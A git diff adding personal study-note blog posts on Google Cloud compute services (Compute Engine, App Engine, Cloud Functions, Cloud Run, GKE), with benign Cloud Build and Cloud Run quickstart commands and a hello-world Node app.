use cases for this. + - the classic A/B testing use case. + - You have two versions that you want to see how users respond to, + - and so you split the traffic between those two versions, + - you monitor for whatever it is you're looking to see, + - once you know which one is more successful, that is the one that you can actually deploy. + +![Screen Shot 2022-08-25 at 00.40.25](https://i.imgur.com/dErLBSq.png) + + + + + +. diff --git a/_posts/01Cloud/01GCP/Compute/2021-01-01-GCP-Compute.md b/_posts/01Cloud/01GCP/Compute/2021-01-01-GCP-Compute.md new file mode 100644 index 00000000000..e02de165fee --- /dev/null +++ b/_posts/01Cloud/01GCP/Compute/2021-01-01-GCP-Compute.md @@ -0,0 +1,349 @@ +--- +title: GCP - Google Cloud Computing Solutions +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Compute] +tags: [GCP] +toc: true +image: +--- + +- [Google Cloud Computing Solutions](#google-cloud-computing-solutions) + - [Cloud Computing](#cloud-computing) + - [Cloud Compute trend](#cloud-compute-trend) + - [Google Cloud Computing Solutions](#google-cloud-computing-solutions-1) + - [Compute type](#compute-type) + - [compare](#compare) + - [IaaS vs PaaS vs Serverless vs SaaS](#iaas-vs-paas-vs-serverless-vs-saas) + - [IaaS](#iaas) + - [Compute Engine](#compute-engine) + - [PaaS](#paas) + - [App Engine](#app-engine) + - [Serverless](#serverless) + - [Cloud Function](#cloud-function) + - [container - Stateless](#container---stateless) + - [Cloud Run](#cloud-run) + - [container - Hybrid](#container---hybrid) + - [GKE Kubernetes Engine](#gke-kubernetes-engine) + - [which compute service to you adopt](#which-compute-service-to-you-adopt) + +--- + +# Google Cloud Computing Solutions + +--- + +## Cloud Computing + +![Screen](https://i.imgur.com/7vMDIFw.png) + +![Screen Shot 2021-02-03 at 14.32.13](https://i.imgur.com/6p8blb8.png) + +5 fundamental attributes, definition of cloud + +1. **on-demand and self-service** + 1. automated interface and get the processing power, storage, and network they need with no human intervention. + +2. **broad network access** + 1. resources are accessible over a network from any location. + +3. **Resource pooling** + 1. Providers allocate resources to customers from a large pool, + 2. allowing them to benefit from economies of scale. + 3. Customers don't have to know or care about the exact physical location of these resources. + +4. **Rapid elasticity** + 1. Resources themselves are elastic. + 2. Customers who need more resources can get them rapidly, + 3. when they need less they can scale back. + +5. **Measured service** + 1. customers pay for only what they use or reserve as they go. + 2. stop using resources, stop paying. + +--- + +## Cloud Compute trend + +- The trend towards cloud computing started with **colocation**, which allowed users to rent physical space instead of investing in data center real estate. + +- **Virtualized data centers** emerged as the second wave of cloud computing, where physical components were replaced with virtual devices. + +- Google realized that the virtualization model was limiting their ability to innovate, so they switched to a **container-based architecture**. + +![Screenshot 2024-08-07 at 09.49.50](/assets/img/Screenshot%202024-08-07%20at%2009.49.50.png) + +--- + +## Google Cloud Computing Solutions + +> GCP products that provide the compute infrastructure for applications + +### Compute type + +![Screen Shot 2022-08-14 at 23.53.19](https://i.imgur.com/zqLCHjW.jpg) + +![Screen Shot 2022-08-14 at 23.54.09](https://i.imgur.com/GrvWJPN.jpg) + +![Screen Shot 2022-08-15 at 00.11.35](https://i.imgur.com/7tbu3te.png) + +### compare + +![Screenshot 2024-08-11 at 12.29.51](/assets/img/Screenshot%202024-08-11%20at%2012.29.51.png) + +![Screenshot 2024-08-11 at 12.29.50](/assets/img/Screenshot%202024-08-11%20at%2012.29.50.png) + +![Screenshot 2024-08-11 at 12.29.49](/assets/img/Screenshot%202024-08-11%20at%2012.29.49.png) + +--- + +### IaaS vs PaaS vs Serverless vs SaaS + +[link](https://github.com/ocholuo/ocholuo.github.io/tree/master/_posts/01Cloud/01GCP/2021-01-01-GCP.md#iaas-vs-paas-vs-serverless-vs-saas) + +![Screenshot 2024-08-07 at 23.04.21](/assets/img/Screenshot%202024-08-07%20at%2023.04.21.png) + +--- + +## IaaS + +### Compute Engine + +![Screen Shot 2021-02-14 at 21.27.28](https://i.imgur.com/pKrLZLF.png) + +- Compute Engine + - [detailed page](https://ocholuo.github.io/posts/Compute-engine/) + - Infrastructure as a Service + - A managed environment for deploying virtual machines + - Fully customizable **VMs** + - Compute Engine offers virtual machines that run on GCP + - create and run virtual machines on Google infrastructure. + - run virtual machines on demand in the Cloud. + - select predefined VM configurations + - create customized configurations + - no upfront investments + - run thousands of virtual CPUs on a system that is designed to be fast and to offer consistent performance. + +![Screenshot 2024-08-11 at 12.20.41](/assets/img/Screenshot%202024-08-11%20at%2012.20.41.png) + +- use case : + - have complete control over your infrastructure + - maximum flexibility + - for people who prefer to manage those server instances themselves. + - customize operating systems and even run applications that rely on a mix of operating systems. + - best option when other computing options don't support your applications or requirements + - easily lift and shift your on-premises workloads into GCP without rewriting the applications or making any changes. + +--- + +## PaaS + +### App Engine + +![Screen Shot 2021-02-14 at 21.28.45](https://i.imgur.com/0ngmPQq.png) + +- App Engine + - [detailed page](https://ocholuo.github.io/posts/app-engine/) + - Platform as a Service + - fully managed serverless application framework. + - deploy an application on App Engine + - hand App Engine the code + - and the App Engine service takes care of the rest. + - focus on code and run code in the Cloud + - without worry about infrastructure. + - focus on building applications instead of deploying and managing the environment. + - Google deal with all the provisioning and resource management. + - no worry about building the highly reliable and scalable infrastructure + - zero server management or configuration deployments for deploying applications + - The App Engine platform manages the hardware and networking infrastructure for the code. + - provides built-in services that many web applications need. + - code the application to take advantage of these services and App Engine provides them. + - `NoSQL databases, in-memory caching, load balancing, health checks, logging` and a `way to authenticate users`. + - could also `run container workloads`. + - `Stackdriver monitoring, logging, and diagnostics` + - such as debugging and error reporting are also tightly integrated with App Engine. + - use Stackdriver's real time debugging features to analyze and debug your source code. + - Stackdriver integrates with tools such as Cloud SDK, cloud source repositories, IntelliJ, Visual Studio, and PowerShell. + - App Engine also supports `version control and traffic splitting`. + - scale the application automatically in response to the amount of traffic it receives. + - only pay for those resources you use. + - no servers to provision or maintain. + - App Engine offers two environments: + - standard and flexible + - App Engine supports popular languages like Java and Node.js, Python, PHP, C#, .NET, Ruby, and Go. + +![Screenshot 2024-08-11 at 12.23.07](/assets/img/Screenshot%202024-08-11%20at%2012.23.07.png) + +- use case : + - suited for applications where the workload is highly variable or unpredictable + - web applications and mobile backend. + - websites, mobile apps, gaming backends, + - present a RESTful API to the Internet + - an application program interface + - resembles the way a web browser interacts with the web server. + - RESTful APIs are easy for developers to work with and extend. + - And App Engine makes them easy to operate + +--- + +## Serverless + +--- + +### Cloud Function + +![Screen Shot 2021-02-14 at 21.33.08](https://i.imgur.com/Hf2hreB.png) + +- Cloud Function + - functions as a Service + - A managed serverless platform/environment for deploying event-driven functions + - an event-driven, serverless compute service + - for simple single purpose functions that are attached to events. + - It executes the code in response to events, + - whether those occur once a day or many times per second. + + - create single-purpose functions that respond to events without servers or runtime binaries. + - just write code in JavaScript for a Node.js environment that GCP provides + - upload the code written in JavaScript or Python, or Go + - configure when it should fire + - setting up a Cloud Function works. + - choose which events you care about. + - triggers: For each event type, you tell Cloud Functions you're interested in it. + - attach JavaScript functions to the triggers. + - and then GCP will automatically deploy the appropriate computing capacity to run that code. + - the functions will respond whenever the events happen. + + - Google scales resources as required, but you only pay for the service while the code runs. + - no pay for servers + - charged for the time that the code/functions runs. + - For each function, invocation memory and CPU use is measured in the 100 millisecond increments, rounded up to the nearest increment. + - provides a perpetual free tier. + - So many cloud function use cases could be free of charge. + + - the code is triggered within a few milliseconds based on events. + - can trigger on events in Cloud Storage, Cloud Pub/Sub, + - file is uploaded to Google cloud storage + - or a message is received from Cloud Pub/Sub. + - or in HTTP call + - triggered based on HTTP endpoints define, + - and events in the fire based mobile application back end. + + - to enhance existing applications without having to worry about scaling. + + - These servers are automatically scaled and are deployed from highly available and a fault-tolerant design. + + - Files uploaded into the GCS bucket can be processed in real time. + - the data can be extracted, transformed and loaded for querying in analysis. + - intelligent applications + - such as virtual assistance, chat bots + - video or image analysis, and sentiment analysis. + +![Screenshot 2024-08-11 at 12.26.17](/assets/img/Screenshot%202024-08-11%20at%2012.26.17_3lo65tiy3.png) + +- use cases + - used as part of a microservices application architecture. + - Some applications, especially those that have microservices architecture, can be implemented entirely in Cloud Functions. + - build symbols, serverless, + - mobile IoT backends + - integrate with third party services and APIs. + +--- + +## container - Stateless + +--- + +### Cloud Run + +![Screen Shot 2021-02-14 at 21.32.19](https://i.imgur.com/PWNsn3v.png) + +- Cloud Run + - serverless + - builds, deploys, and manages modern stateless workloads. + - can build the applications in any language using whatever frameworks and tools + - deploy them in seconds without manage and maintain the server infrastructure. + - distracts way all the infrastructure management + - such as provisioning, configuring, managing those servers + - only focus on developing applications. + - run request or event driven stateless workloads + - without having to worry bout servers. + - automatically scales up and down from zero + - depending upon traffic almost instantaneously + - no worry about scale configuration. + - pay for only the resources used + - calculated down to the nearest 100 milliseconds. + - no pay for those over provisioned resources. + - gives the choice of running the containers + - with fully managed or in the own GKE cluster. + - deploy the stateless containers with a consistent developer experience to a fully managed environment or to the own GKE cluster. + - This common experiences enabled by Knative + - Cloud Run is built on Knative + - an open source Kubernetes based platform. + - an open API and runtime environment built on top of Kubernetes. + - gives the freedom to move the workloads across different environments and platforms, + - either fully managed on GCP, on GKE + - or anywhere a Knative runs. + - enables you to deploy stateless containers + - that listen for requests or events delivered via HTTP requests. + +![Screenshot 2024-08-11 at 12.26.17](/assets/img/Screenshot%202024-08-11%20at%2012.26.17.png) + +- use case: + - build your applications in any language using whatever frameworks and tools you wish and deploy them in seconds without having to manage and maintain that server infrastructure. + +--- + +## container - Hybrid + +--- + +### GKE Kubernetes Engine + +![Screen Shot 2021-02-14 at 21.30.41](https://i.imgur.com/JZUUrNV.png) + +- GKE Kubernetes Engine + - [detailed page](https://ocholuo.github.io/posts/kubernete-engine/) + - A managed environment for deploying containerized applications + - to run containerized applications on a Cloud environment that Google Cloud manages for you under the administrative control. + - containerization, a way to package code that's designed to be highly portable and to use resources very efficiently. + - Kubernetes, a way to orchestrate code in those containers. + +![Screenshot 2024-08-11 at 12.24.30](/assets/img/Screenshot%202024-08-11%20at%2012.24.30.png) + +- use case : + - containerized applications + - cloud-native distributed systems + - and hybrid applications + +--- + +## which compute service to you adopt + +![Screen Shot 2021-02-14 at 21.36.35](https://i.imgur.com/8e7pec1.png) + +- compute engine + - running applications on physical server hardware + - running applications in long-lived virtual machines in which each VM is managed and maintained + - moving to compute engine is the quickest GCP services for getting the applications to the cloud. + +- What do you want to to think about operations at all? Well, App Engine and Cloud Functions are good choices. + +- Containerization is the most efficient, importable way to package you an application. +- The popularity of containerization is growing very fast. + +- both Compute Engine and App Engine can launch containers for you. + - Compute Engine + - accept the container image and launch a virtual machine instance that contains it. + - use Compute Engine technologies to scale and manage the resulting VM. + - App Engine flexible environment + - accept the container image and then run it with the same No-ops environment that App Engine delivers for code. + +- GKE: + - if you're already running Kubernetes in the on-premises data centers + - you'll be able to bring along both the workloads and the management approach. + - want more control over the containerized workloads than what App Engine offers + - And denser packing than what Compute Engine offers + - The Kubernetes paradigm of container orchestration is incredibly powerful, and its vendor neutral, and a abroad and vibrant community is developed all around it. + - Using Kubernetes as a managed service from GCP saves you work and let's you benefit from all the other GCP resources too. + +- Cloud Run + - run stateless containers on a managed compute platform. diff --git a/_posts/01Cloud/01GCP/Compute/Container/2021-01-01-CloudBuild.md b/_posts/01Cloud/01GCP/Compute/Container/2021-01-01-CloudBuild.md new file mode 100644 index 00000000000..9d9a6ad9037 --- /dev/null +++ b/_posts/01Cloud/01GCP/Compute/Container/2021-01-01-CloudBuild.md @@ -0,0 +1,84 @@ +--- +title: GCP Computing - Cloud Build +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Container] +tags: [GCP] +toc: true +image: +--- + +- [GCP Computing - Cloud Build](#gcp-computing---cloud-build) + - [Deploy](#deploy) + +--- + +# GCP Computing - Cloud Build + +--- + +## Deploy + +```sh +gcloud auth list + + +nano quickstart.sh +#!/bin/sh +echo "Hello, world! The time is $(date)." + + +nano Dockerfile +# Dockerfile +FROM alpine +COPY quickstart.sh / +CMD ["/quickstart.sh"] + +chmod +x quickstart.sh + +gcloud artifacts repositories create quickstart-docker-repo \ + --repository-format=docker \ + --location=us-west1 \ + --description="Docker repository" + +gcloud builds submit \ + --tag us-west1-docker.pkg.dev/${DEVSHELL_PROJECT_ID}/quickstart-docker-repo/quickstart-image:tag1 + +nano cloudbuild.yaml +# cloudbuild.yaml +steps: +- name: 'gcr.io/cloud-builders/docker' + args: [ 'build', '-t', 'YourRegionHere-docker.pkg.dev/$PROJECT_ID/quickstart-docker-repo/quickstart-image:tag1', '.' ] +images: +- 'YourRegionHere-docker.pkg.dev/$PROJECT_ID/quickstart-docker-repo/quickstart-image:tag1' + +export REGION=us-west1 +sed -i "s/YourRegionHere/$REGION/g" cloudbuild.yaml + +gcloud builds submit --config cloudbuild.yaml + + +nano quickstart.sh +#!/bin/sh +if [ -z "$1" ] +then + echo "Hello, world! The time is $(date)." + exit 0 +else + exit 1 +fi + +nano cloudbuild2.yaml + +steps: +- name: 'gcr.io/cloud-builders/docker' + args: [ 'build', '-t', 'YourRegionHere-docker.pkg.dev/$PROJECT_ID/quickstart-docker-repo/quickstart-image:tag1', '.' ] +- name: 'YourRegionHere-docker.pkg.dev/$PROJECT_ID/quickstart-docker-repo/quickstart-image:tag1' + args: ['fail'] +images: +- 'YourRegionHere-docker.pkg.dev/$PROJECT_ID/quickstart-docker-repo/quickstart-image:tag1' + +sed -i "s/YourRegionHere/$REGION/g" cloudbuild2.yaml + +gcloud builds submit --config cloudbuild2.yaml + +``` diff --git a/_posts/01Cloud/01GCP/Compute/Container/2021-01-01-CloudRun.md b/_posts/01Cloud/01GCP/Compute/Container/2021-01-01-CloudRun.md new file mode 100644 index 00000000000..30699c5a581 --- /dev/null +++ b/_posts/01Cloud/01GCP/Compute/Container/2021-01-01-CloudRun.md @@ -0,0 +1,153 @@ +--- +title: GCP - Google Cloud Computing - Cloud Run +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Container] +tags: [GCP] +toc: true +image: +--- + +- [Google Cloud Computing - Cloud Run](#google-cloud-computing---cloud-run) + - [Overview](#overview) + - [Development in the cloud](#development-in-the-cloud) + +--- + +# Google Cloud Computing - Cloud Run + +--- + +## Overview + +![Screen Shot 2021-02-12 at 13.25.46](https://i.imgur.com/uuTClRK.png) + +![Screenshot 2024-08-07 at 15.14.02](/assets/img/Screenshot%202024-08-07%20at%2015.14.02.png) + +![Screenshot 2024-08-07 at 15.14.41](/assets/img/Screenshot%202024-08-07%20at%2015.14.41.png) + +- serverless + +- enables you to deploy stateless **containers** + - run container using a single command + - that listen for requests or events delivered via HTTP requests. + +- builds, deploys, and manages modern stateless workloads. + - can build the applications in any language using whatever frameworks and tools + - deploy them in seconds without manage and maintain the server infrastructure. + - distracts way all the infrastructure management + - such as provisioning, configuring, managing those servers + - only focus on developing applications. + - run request or event driven stateless workloads + - without having to worry bout servers. + +- automatically scales up and down from zero + - depending upon traffic almost instantaneously + - no worry about scale configuration. + +- pay for only the resources used + - calculated down to the nearest 100 milliseconds. + - no pay for those over provisioned resources. + +- gives the choice of running the **containers** + - with fully managed or in the own GKE cluster. + - deploy the stateless containers with a consistent developer experience to a fully managed environment or to the own GKE cluster. + - This common experiences enabled by Knative + - Cloud Run is built on Knative + - an open source Kubernetes based platform. + - an open API and runtime environment built on top of Kubernetes. + +- gives the freedom to move the workloads across different environments and platforms, + - either fully managed on GCP, on GKE + - or anywhere a Knative runs. + +- `GKE` = multiple `CloudRun` + +## Development in the cloud + +![Screenshot 2024-08-07 at 15.15.34](/assets/img/Screenshot%202024-08-07%20at%2015.15.34.png) + +![Screenshot 2024-08-07 at 15.16.07](/assets/img/Screenshot%202024-08-07%20at%2015.16.07.png) + +```sh +gcloud auth list + +gcloud services enable run.googleapis.com +gcloud config set compute/region europe-west1 +LOCATION="europe-west1" + +mkdir helloworld && cd helloworld + +nano package.json +# Press CTRL+X, then Y, then Enter to save the package.json file. +# { +# "name": "helloworld", +# "description": "Simple hello world sample in Node", +# "version": "1.0.0", +# "main": "index.js", +# "scripts": { +# "start": "node index.js" +# }, +# "author": "Google LLC", +# "license": "Apache-2.0", +# "dependencies": { +# "express": "^4.17.1" +# } +# } + +nano index.js +# const express = require('express'); +# const app = express(); +# const port = process.env.PORT || 8080; +# app.get('/', (req, res) => { +# const name = process.env.NAME || 'World'; +# res.send(`Hello ${name}!`); +# }); +# app.listen(port, () => { +# console.log(`helloworld: listening on port ${port}`); +# }); + + + +nano Dockerfile +# Use the official lightweight Node.js 12 image. +# https://hub.docker.com/_/node +FROM node:12-slim + +# Create and change to the app directory. +WORKDIR /usr/src/app + +# Copy application dependency manifests to the container image. +# A wildcard is used to ensure copying both package.json AND package-lock.json (when available). +# Copying this first prevents re-running npm install on every code change. +COPY package*.json ./ + +# Install production dependencies. +# If you add a package-lock.json, speed your build by switching to 'npm ci'. +# RUN npm ci --only=production +RUN npm install --only=production + +# Copy local code to the container image. +COPY . ./ + +# Run the web service on container startup. +CMD [ "npm", "start" ] + + + +gcloud builds submit --tag gcr.io/$GOOGLE_CLOUD_PROJECT/helloworld +gcloud container images list +gcloud auth configure-docker +docker run -d -p 8080:8080 gcr.io/$GOOGLE_CLOUD_PROJECT/helloworld +# In the Cloud Shell window, click on Web preview and select Preview on port 8080. +# This should open a browser window showing the "Hello World!" message. You could also simply use curl localhost:8080. + + +gcloud run deploy --image gcr.io/$GOOGLE_CLOUD_PROJECT/helloworld --allow-unauthenticated --region=$LOCATION + + +gcloud container images delete gcr.io/$GOOGLE_CLOUD_PROJECT/helloworld +gcloud run services delete helloworld --region=europe-west1 +``` + + +. diff --git a/_posts/01Cloud/01GCP/Compute/Container/2021-01-01-GKE.md b/_posts/01Cloud/01GCP/Compute/Container/2021-01-01-GKE.md new file mode 100644 index 00000000000..e485ed0e613 --- /dev/null +++ b/_posts/01Cloud/01GCP/Compute/Container/2021-01-01-GKE.md @@ -0,0 +1,1920 @@ +--- +title: GCP Computing - Kubernetes and Kubernetes Engine +date: 2021-01-01 11:11:11 -0400 +categories: [01GCP, Container] +tags: [GCP] +toc: true +image: +--- + +[TOC] + +--- + +# GCP Computing - GKE Google Kubernetes Engine + +--- + +## GCP Compute Type + +![Screen Shot 2021-02-07 at 00.06.44](https://i.imgur.com/DIreiTC.png) + +**Compute Engine** `IaaS` +- GCPs Infrastructure as a Service +- run Virtual Machine in the cloud and gives persistent storage and networking + +**App Engine** `PaaS` +- one of GCP's platform as a service offerings. + +**Kubernetes Engine** `IaaS+PaaS` +- like Infrastructure as a Service, + - it saves infrastructure chores. +- like a platform as a service offering, + - it was built with the needs of developers in mind. + +--- + +## Kubernetes Control Plane + +Kubernetes control plane +- the fleet of cooperating processes that make a Kubernetes cluster work. + +build up a Kubernetes cluster part by part +- master + - cluster needs computers. + - Nowadays, the computers that compose the clusters are usually virtual machines. + - They always are in GKE, but they could be physical computers too. + - One computer is called the master and the others are called nodes. + - The job of the nodes is to run pods. + - The job of the master is to coordinate the entire cluster. + - Several Kubernetes components run on the master. + + +![Screen Shot 2021-02-15 at 23.31.17](https://i.imgur.com/pGNhbnF.png) + +![Screen Shot 2021-02-07 at 14.29.23](https://i.imgur.com/zoPNLpx.png) + + +Kubernetes components + +- kubectl command + - to connect/communicate to kube-APIserver by Kubernetes API. + +- kube-APIserver + - The single component to interact directly + - accept commands that view or change the state of the cluster, + - including launching pods. + - Kube-API server also authenticates incoming requests + - determines whether they are authorized, invalid, + - and manages admission control. + - Kube-API server talk with kubectl, and any query or change to the cluster state + +- Etcd + - the cluster's database. + - reliably store the state of the cluster. + - includes all the cluster configuration data and more dynamic information + - such as what nodes are part of the cluster, + - what pods should be running, + - and where they should be running. + - not interact directly with etcd. + - kube-APIserver interacts with the database on behalf of the rest of the system. + +- Kube-scheduler + - scheduling pods onto the nodes. + - evaluates the requirements of each individual pod + - selects which node is most suitable. + - But it doesn't actually launching pods onto nodes. + - it discovers a pod object that doesn't yet have an assignment to a node, + - it chooses a node + - and simply write the name of that node into the pod object. + - when kube-scheduler decide where to run a pod + - It knows the state of all the nodes, + - it obey constraints defined on where a pod may run, + - based on hardware, software, and policy. + - Example + - specify certain pod is only allowed to run on nodes with a certain amount of memory. + - define affinity specifications + - which cause groups of pods to prefer running on the same node. + - anti-affinity specifications + - which ensure that pods do not run on the same node. + +- Kube-controller manager + - continuously monitors the state of a cluster through kube-APIserver. + - Whenever the current state of the cluster doesn't match the desired state, + - kube-controller manager will attempt to make changes, to achieve the desired state. + +- controllers + - many Kubernetes objects are maintained by loops of code called controllers. + - These loops of code handle the process of remediation. + - Controllers will be very useful to you. + - To be specific + - all use certain kinds of Kubernetes controllers to manage workloads. + - Example + - keeping three engine x pods always running. + - gather them together into a controller object called a deployment, + - that not only keeps them running, + - but also lets us scale them and bring them together underneath our front end. + - Other kinds of controllers have system-level responsibilities. + - node controller's job is to monitor and respond when a node is offline. + +- Kube-cloud-manager + - manages controllers that interact with underlying cloud providers. + - Example + - manually launched a Kubernetes cluster on Google Compute Engine, + - responsible for bringing in GCP features like load balancers and storage volumes when needed them. + +- node + - Each node runs a small family of control-plane components too. + - For example, each node runs a kubelet. + - kubelet + - Kubernetes agent on each node. + - When the kube-APIserver wants to start a pod on a node, it connects to that node's kubelet. + - Kubelet uses the container runtime to start the pod and monitor its lifecycle + - including readiness and liveness probes, and reports back to kube-APIserver. + - container runtime + - is the software that knows how to launch a container from a container image. + - Kubernetes offers several choices of container runtimes + - Linux distribution, that GKE uses for its nodes, launches containers using containerd. + - The runtime component of docker. + +- Kube proxy + - maintain network connectivity among the pods in a cluster. + - In open-source Kubernetes, using the firewalling capabilities of IP tables (in Linux kernel) + + +--- + +## GKE - Google Kubernetes Engine + +![Screen Shot 2021-02-16 at 00.36.35](https://i.imgur.com/v9RlU7Z.png) + +![Screenshot 2024-08-07 at 15.07.53](/assets/img/Screenshot%202024-08-07%20at%2015.07.53.png) + +Google Kubernetes Engine (GKE) + +- the resources used to build Google Kubernetes Engine clusters come from Compute Engine , + - GKE take advantage of Compute Engine’s and Google VPC’s capabilities. + +- fully managed + - OS are maintained by Google. + - don't have to provision the underlying resources + - optimized to scale quickly and with a minimal resource footprint. + +- a way to **orchestrate code** in those containers. + - Setting up a Kubernetes cluster by hand is tons of work. + - **container orchestratory** to `deploy and manage multi-container applications`. + - an orchestration system for applications in containers + - uses a container-optimized operating system + - containerization + - a way to package code that's designed to be highly portable and to use resources very efficiently. + - Kubernetes + - a way to orchestrate code in those containers. + - automates deployment, scaling, load balancing, logging, and monitoring, and other management features + - A managed environment for deploying containerized applications + - run containerized applications on a Cloud environment that Google Cloud manages for under the administrative control. + + +- extends Kubernetes management on GCP + - by adding features and integrating with other GCP services automatically + - adding features + - GKE supports + - cluster scaling + - persistent disks + - automated updates to the latest version of Kubernetes + - and auto repair for unhealthy nodes + 1. Just as Kubernetes support scaling workloads + - GKE support scaling the cluster itself. + 2. direct the service to instantiate a Kubernetes system, cluster + - GKE clusters can be customized + - support different machine types, numbers of nodes and network settings. + - the resources used to build Kubernetes Engine clusters come from Compute Engine + - Kubernetes Engine workloads run in clusters built from Compute Engine virtual machines + - Kubernetes Engine gets to take advantage of Compute Engine’s and Google VPC’s capabilities. + - If enable GKE's `auto upgrade feature` + - the clusters are automatically upgraded with the latest and greatest version of Kubernetes. + - and can enable automatic node upgrades too. + 3. nodes, the virtual machines that host the containers inside of a GKE cluster + - If enable GKE's `auto repair feature` + - the service will automatically repair unhealthy nodes + - make periodic health checks on each node in the cluster. + - If a node is determined to be unhealthy and requires repair, GKE would drain the node. + - cause it's workloads to gracefully exit and then recreate that node. + + - seamlessly integrates with: + 1. with Google Cloud build and container registry. + - create container using Cloud Build + - and storing a container in Container Registry. + - automate deployment using private container images that securely stored in container registry. + + 2. with Google's identity and access management + - control access through the use of accounts and role permissions. + + 3. with Stackdriver monitoring + - Stackdriver, Google Cloud system for monitoring and management for services, containers, applications, and infrastructure. + - to help understand the applications performance. + + 4. with Google VPCs virtual private clouds + - makes use of GCP's networking features. + + 5. the GCP console + - provides insights into GKE clusters and the resources + - view, inspect and delete resources in those clusters. + - open source Kubernetes + - contains a dashboard + - but takes a lot of work to set it up securely. + - the GCP console + - dashboard for GKE clusters and workloads that don't have to manage. + - more powerful than the Kubernetes dashboard. + + 6. Existing workloads running within on-premise clusters can easily be moved on to GCP + +- very well suited for + - containerized applications. + - Cloud-native distributed systems and hybrid applications. + +![Screenshot 2024-08-11 at 11.38.05](/assets/img/Screenshot%202024-08-11%20at%2011.38.05.png) + +### Standard mode + +![Screenshot 2024-08-07 at 15.09.22](/assets/img/Screenshot%202024-08-07%20at%2015.09.22.png) + +### Autopilot mode + +![Screenshot 2024-08-07 at 15.09.11](/assets/img/Screenshot%202024-08-07%20at%2015.09.11.png) + +- GKE Autopilot is a mode of operation in GKE in which Google manages the cluster configuration, including the nodes, scaling, security, and other preconfigured settings. +- Autopilot clusters are optimized to run most production workloads, and provision compute resources based on the Kubernetes manifests. +- The streamlined configuration follows GKE best practices and recommendations for cluster and workload setup, scalability, and security. + +Benefits + +- Focus on the apps: Google manages the infrastructure, so you can focus on building and deploying the applications. + +- Security: Clusters have a default hardened configuration, with many security settings enabled by default. GKE automatically applies security patches to the nodes when available, adhering to any maintenance schedules you configured. + +- Pricing: The Autopilot pricing model simplifies billing forecasts and attribution because it's based on resources requested by the Pods. + +- Node management: Google manages worker nodes, so you don't need to create new nodes to accommodate the workloads or configure automatic upgrades and repairs. + +- Scaling: When the workloads experience high load and you add more Pods to accommodate the traffic, such as with Kubernetes Horizontal Pod Autoscaling, GKE automatically provisions new nodes for those Pods, and automatically expands the resources in the existing nodes based on need. + +- Scheduling: Autopilot manages Pod bin-packing for you, so you don't have to think about how many Pods are running on each node. You can further control Pod placement by using Kubernetes mechanisms such as affinity and Pod spread topology. + +- Resource management: If you deploy workloads without setting resource values such as CPU and memory, Autopilot automatically sets pre-configured default values and modifies the resource requests at the workload level. + +- Networking: + - Autopilot enables some networking security features by default, such as ensuring that all Pod network traffic passes through the VPC firewall rules, even if the traffic is going to other Pods in the cluster. + - When create an Autopilot cluster with public networking, workloads in the cluster can communicate with each other and with the internet. This is the default networking mode. + +- Release management: All Autopilot clusters are enrolled in a GKE release channel, which ensures that the control plane and nodes run on the latest qualified versions in that channel. + +- Managed flexibility: If the workloads have specific hardware or resource requirements, such as high CPU or memory, Autopilot offers pre-configured compute classes built for those workloads. You request the compute class in the deployment instead of needing to manually create new nodes that are backed by customized machine types and hardware. You can also select GPUs to accelerate workloads like batch or AI/ML applications. + +- Reduced operational complexity: Autopilot reduces platform administration overhead by removing the need to continuously monitor nodes, scaling, and scheduling operations. + +- Autopilot comes with a SLA that covers both the control plane and the compute capacity used by the Pods. + +--- + +## Kubernetes + +![Screen Shot 2021-02-11 at 23.08.12](https://i.imgur.com/lUUjWuY.png) + +![Screenshot 2022-11-20 at 23.48.59](https://i.imgur.com/pMSigTN.png) + +- a software layer that sits between the applications and the hardware infrastructure. + +- an open-source orchestrator + - a project of the Vendor Neutral Cloud Native Computing Foundation. + +- a popular container management and orchestration solution + - for containers to better manage and scale the applications. + - describe a set of applications and how they should interact with each other, + - and Kubernetes figures out how to make that happen. + - it abstracts away the underlying infrastructure, + - to easier consistently run and manage the applications. + - launch one or more Pods and ensure that a specified number of them successfully run to completion and exit. + +- Kubernetes facilitates + - the features of PaaS + - it automates the deployment scaling, load balancing, logging, monitoring, and other management features of containerized applications. + - the features of IaaS + - such as allowing a wide range of user preferences and configuration flexibility. + +- automatically scale in and out containerized applications based on resource utilization. + - can specify resource requests levels and resource limits for the workloads and Kubernetes will obey them. + - These resource controls like Kubernetes, improve overall workload performance within the cluster. + +- offers an API that let authorized people control its operation through several utilities. + +- Kubernetes supports declarative configurations + - administer the infrastructure declaratively, + - describe the desired state to achieve instead of commands to achieve that state. + - Kubernetes make the deployed system conform to the desired state + - and then keep it there in spite of failures. + - Declarative configuration + - saves work. + - Because the system is desired state is always documented, + - reduces the risk of error. +- Kubernetes also allows imperative configuration + - issue commands to change the system state. + - administering Kubernetes as scale imperatively, will be a big missed opportunity. + - One of the primary strengths of Kubernetes is its ability to automatically keep a system in a state that declare + - Experienced Kubernetes administrators use imperative configuration + - only for quick temporary fixes + - and as a tool in building a declarative configuration. + +- Kubernetes supports different workload types . + - stateless applications + - such as an Nginx or Apache web server, + - stateful applications + - where user in session data can be stored persistently. + - It also supports batched jobs and demon tasks. + +- extensibility + - Developers extend Kubernetes through a rich ecosystem of plugins and add-ons. + - For example, there's a lot of creativity going on currently with Kubernetes custom resource definitions which bring the Kubernetes declarative Management Model to amazing variety of other things that need to be managed. + +- portability + - open source, + - Kubernetes also supports workload portability across On-premises or multiple Cloud service providers such as GCP and others. + - This allows Kubernetes to be deployed anywhere. + - can move Kubernetes workloads freely without a vendor login. + +--- + +### cluster + +![Screen Shot 2021-02-07 at 14.45.26](https://i.imgur.com/o0IN3Ou.png) + +- deploy containers on a set of nodes called **cluster** + +- a set of master components that control the system as a whole and a set of nodes that run containers. +- A group of machines where `Kubernetes` can schedule workloads + + +**to build Kubernetes cluster** + +1. build on the own hardware/environment that provides virtual machines + - built it theself, have to maintain it. + - That's even more toil. + +2. Google Kubernetes Engine GKE + - deploy, manage and scale Kubernetes environments for the containerized applications on GCP. + - easy to brings Kubernetes as a managed service on Google Cloud Platform. + - building, scheduling, load balancing, and monitoring workloads, + - providing for discovery of services, + - managing role-based access control and security, + - and providing persistent storage to these applications. + - a component of the GCP compute offerings + +![Screen Shot 2021-02-12 at 01.06.57](https://i.imgur.com/VHpeVXq.png) + +#### Cluster Type + + +##### GKE Zonal cluster + +- By default, a cluster launches in a single GCP Compute Zone with three identical nodes, all in one node pool. + - The number of nodes can be changed during or after the creation of the cluster. + - Adding more nodes and deploying multiple replicas of an application + - will improve an applications availability + 